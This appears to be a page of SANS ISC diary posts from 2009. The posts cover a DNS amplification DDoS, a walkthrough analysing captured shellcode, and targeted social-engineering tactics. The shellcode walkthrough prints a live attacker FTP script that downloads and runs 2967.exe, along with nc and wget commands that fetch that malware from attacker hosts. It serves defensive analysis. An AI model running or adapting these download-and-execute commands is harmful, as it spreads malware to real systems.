DNS queries for

Published: 2009-01-18
Last Updated: 2009-01-22 19:48:29 UTC
by Daniel Wesemann (Version: 6)
51 comment(s)

Several folks are reporting odd queries hitting their DNS servers at a steady rate of about two per second.  The queries invariably ask for the name server of the domain "." (NS query for a single dot).   Since "." is a query for the root name servers, it has a very short query packet but a pretty long answer. Our current theory therefore is that this is a denial of service (DoS) attack in progress, where the DNS servers are used as "amplifiers" and unwittingly flood the (spoofed) source by providing a long answer to a system which never asked.

Update 0118 UTC: Correlations of logs and captures submitted by readers suggests that 69.50.142.11 and 76.9.16.171 are the two IPs from which most queries appear to originate... which would mean that these two sites are under a DoS attack.  ISC reader Chris used reverse DNS/passive DNS to determine that both IP addresses seem to be associated with porn sites.

Update 0253 UTC: The NOC of one of the netblocks has confirmed to ISC reader Steven that a DDoS attack is in progress against one of their clients. If you have queries for "." in your DNS log, best verify by use of a sniffer whether your DNS server actually responds and contributes to the DOS.  Normally, an internet-facing authoritative DNS server should not respond to recursive 3rd party queries, but we have received reports that some servers apparently respond to these "." queries even when recursion is disabled.

Update 1150 UTC: Several readers wrote in to comment that the answer to a "." query can come from the root-hints file or from the cache of the server itself. BIND has several options to control this behaviour (additional-from-auth, additional-from-cache, allow-query-cache).

Update 1520 UTC: 76.9.31.42,  69.50.142.110 and a couple more IPs are also being spoofed. Looks like more targets are being added into the fray.

Update 2117 UTC: We now provide an online tool on isc.sans.org that you can use to verify if your DNS server responds to these "." queries with a full list of root name servers and thus potentially contributes to the ongoing DDoS attack.  You can do this test readily on your own by issuing a "dig . NS @yournameserver" command, but since you need to run this from outside of your network to get the "real" picture, we are providing the online tool to help out.

Update: If you're looking for advice on securing your DNS servers, here's are configuration guidelines for BIND (thanks for the pointer, Hal Pomeranz!) and for Microsoft DNS.

Keywords: dns
51 comment(s)

3322. org

Published: 2009-01-18
Last Updated: 2009-01-19 13:54:47 UTC
by Daniel Wesemann (Version: 1)
0 comment(s)

Earlier today, an ISC reader sent us a looong capture of what looked like a buffer overflow attack. In between a lot of filler chars used to trigger the overflow was the code block below. 

 shellcode

The obvious quesiton to ask in view of such an attack is "what are they trying to do" and "was it successful". To help you answering these questions next time you find yourself on the receiving end of something like this, here's a quick walk-through on how we went about coming up with the answers.

1. Prune the capture to remove the part that is "filler"  (iE all the kkkkllllll in the capture shown)

2. Convert the remaining capture into a binary file.  Here's how I do it:

cat a.txt | cut -b 11-58 | perl -pe 's/(..)\s+/chr(hex($1))/ge' > a.bin

The "cut" command strips out the address to the left and the printed characters to the right, and only leaves the HEX codes, which then are converted by the perl instruction into single byte characters and written into a file that I called "a.bin"

3.  Next, use the "sctest" tool of libemu to try and make sense of the code block. Libemu doesn't always work on such code, but IF it works, it is doing such a stellar job that I'm always trying libemu/sctest first before loading the code into Ollydbg or Objdump for manual analysis.  In this case, we're lucky: sctest makes quick work of the code, and we see that the "connect" function of WinSock is used to establish an outbound TCP connection on port 78.

$sctest -Sgs 10000 < a.bin
success offset = 0x00000031
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 8189
[....]
             DWORD dwProcessId = 4712;
             DWORD dwThreadId = 4714;
         };
) =  -1;
int connect (
     SOCKET s = 66;
     struct sockaddr_in * name = 0x0041714a =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 19968 (port=78);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 118898138 (host=218.61.22.7);
             };
             char sin_zero = "       ";
         };
     int namelen = 16;

[...]
 

4. Let's connect to the address and port that libemu so nicely revealed ... and lookie, we get an FTP script that downloads and starts an EXE from 3322.orrrg (org changed to orrrg to keep you from clicking :)

$nc 218.61.22.7 78
echo open a528.3322.orrrg>1.txt
echo 2967>>1.txt
echo 2967>>1.txt
echo binary>>1.txt
echo get 2967.exe>>1.txt
echo bye>>1.txt
ftp -s:1.txt
2967.exe
2967.exe
2967.exe
del 1.txt
exit
^C

5. Next, we fetch the malware manually

 $wget "ftp://2967:2967@a528.3322.orrrg/2967.exe"
[....]

6. Lastly, we analyze 2967.exe with tools like Virustotal (result) ThreatExpert (result) .

 

Thus, if this had been directed at a server of yours, you would now check the firewall log (IDS, flow log, etc) for an outbound connection attempt to port 78. If nothing is found, the exploit wasn't successful. If you see the connection to port 78 and it went through (for example because you allow all ports outbound) the next step is to check for the FTP. If the FTP completed as well, you know it is time to re-build that server.

And yes, adding the 3322-dot-org domain to your block list would be a good idea. As you can tell from this diary that we published in 2007, it is by far not the first time that this domain shows up on our malware radar ... and the ThreatExpert report included above contains yet another reason to zap this domain and all its subdomains.

Careful: All the badies are still live at this time, shoot your foot at your own risk.

Update: Yes we're aware that 3322-dot-org is a dyndns provider and also hosts harmless content. In view of the amount of malware coming from there for the past two years though, I'd say: block it, and whitelist those very few subdomains that you really need (if any).

 

Keywords: malware analysis
0 comment(s)

Targeted social engineering

Published: 2009-01-18
Last Updated: 2009-01-18 09:48:42 UTC
by Maarten Van Horenbeeck (Version: 1)
0 comment(s)

Here’s a somewhat dated and simplified graph of the three main attack "modus operandi" I generally distinguish:

There are many variants on each, but in general, mass attacks do not distinguish by target either through the exploit, vector and social engineering used. The exploit is customized to fit a large audience. In the case of spear phishing, the attack is customized to a smaller audience, such as CEO’s of a relatively wide set of organizations, or visitors of a specific web site. Targeted attacks are those in which only a single organization or just a few people are specifically targeted. In the latter case, both exploit and the social engineering are customized to almost the level of the individual. The cost of executing such an attack is relatively high, but the revenue per unit (= compromised user) is also much higher.

It may surprise you to hear that many targeted attacks do not involve exploiting software vulnerabilities at all. Attackers tend to make attacks just as complex as necessary for them to succeed. Less is more, when it comes to style. In many cases, that just means sending an executable file, or the equivalent of it, to a user. If the proxy doesn’t allow it, then they’ll send it as an encrypted zip archive, with the password in the mail.

The hidden aspect that makes the attack successful, is more often than not the social engineering. Let’s have a look at some modus operandi that have actually been used in the wild, and have proven wildly successful. I’ll try to include some example stories from the field.

Cognitive dissonance: Early 2006, a limited set of recipients received an e-mail message in Traditional Chinese, describing a major “loss of face” of an individual, for whom the red carpet was rolled out by the US government. The attachment to the e-mail message had the filename “HUJINTAO”, incidentally also the name of the Paramount Leader of the People’s Republic of China. When read by an individual who has a specific feeling about the president, this is likely to invoke a secondary feeling regarding his “face”, an important concept in many cultures. Such a “cognitive dissonance” creates a powerful tool of persuasion to try and resolve the issue. In this case, the only way the reader can make sure is by opening the document. This was a very powerful psychological attack – just three days before the message was sent out, Chinese President Hu Jintao had experienced several issues during a visit to Washington DC.

Mimicked writing styles:
It’s clear that having a blog makes you a well known person.  Less clear is that it also makes you a better understood person. It’s possible to deduce the way people treat each other by reading the communications they release to the world, making those other people a wee bit less safe online. In one incident, an attacker used phrases directly taken from a public blog, as well as a cordial greeting that the blogger had used when writing about a personal topic. This made the message significantly more authentic to the target, who duly clicked on the attachment.

Matching content to topics of interest: This probably makes most sense. What is of interest to the reader is more likely to generate clickthrough. However, making use of specific situations and thoroughly understanding the target’s needs is even more effective. During the Tibetan protests in early 2008, a US-based NGO that was actively working with Tibetans on getting video material from Lhasa to activist groups started receiving malicious videos which were trojaned.

Convincing users to forward messages: Most people have a limited circle of friends from whom they will trust any content. If an attacker is able to fingerprint this circle, for example through social networks, they can abuse this to make a message appear more trusted than it in fact is. In a real-life example, the attackers identified their target had a friend who was relatively less experienced in IT, and had publically stated so in a random online article. They spoofed a message from one of this individual’s friends, saying he was interested in applying for a job with the organization where their actual target worked. They sent the message to the target’s friend, and asked him to forward. The target’s friend forwarded the message and identified the applicant as a “trusted contact”.  As a result, malicious content suddenly became very trusted.

Backdooring viral content: Everyone has once received a “funny” document in his e-mail. Pictures of dancing elephants are popular. Talking cats even more. This type of viral content often takes on a life of its own, it becomes a “meme”. A popular meme in Taiwan in 2007 was a document with pictures of smiling dogs. The document was distributed through forums, e-mail and instant messaging, and it quickly became “trusted” content. About three days into the meme, individuals at a single company started receiving the meme, only this time with backdoored content. Interestingly, the attackers did make one distinction: the malicious document had a single additional space at the end of the file.

The trusted news channel: About two months ago, a non-profit organization started receiving e-mails from a new Chinese news portal. While the site did not contain much content, the e-mails were insightful articles on Chinese affairs. The recipients were unaware where this content was coming from, but found it useful. As the mails did not contain links, slowly the messages became more and more trusted. Eight messages into the cycle, a link was included which pointed to a browser exploit.

There are plenty more techniques of interest, but this article would become far too long if we’d go into others as well. Defending against these attacks is not as obvious as patching a vulnerability. Several tools will need to be used and complemented by one another:

  • Technical mitigation to prevent succesful completion of an attack to the highest degree that can cost-effectively be accomplished. This includes anti virus, the blocking of any non-necessary file type, and so on;
  • Basic security awareness training for all employees that use IT resources. This should cover the minimum standards of IT behavior that are expected of your employees;
  • A more thorough security awareness program for high-risk employees. This includes those employees with access to highly sensitive or important information, but also those who have a wide public presence. The awareness program for these employees should be focused on linking impact to realistic scenarios. An easy way to make employees interested in how to protect themselves is to present a scenario of an organization similar to yours being attacked using several of the above scenarios;
  • High risk employees should receive regular updates on the risk profile of the organization and any new attack vectors that have been identified in this specific industry. Such information can often be obtained from your local neigborhood ISAC (Information Sharing and Analysis Center) or WARP (Warning, Advice and Reporting Point). It's important to keep these employees involved in the process.

Cheers,
Maarten Van Horenbeeck

0 comment(s)

Comments


Diary Archives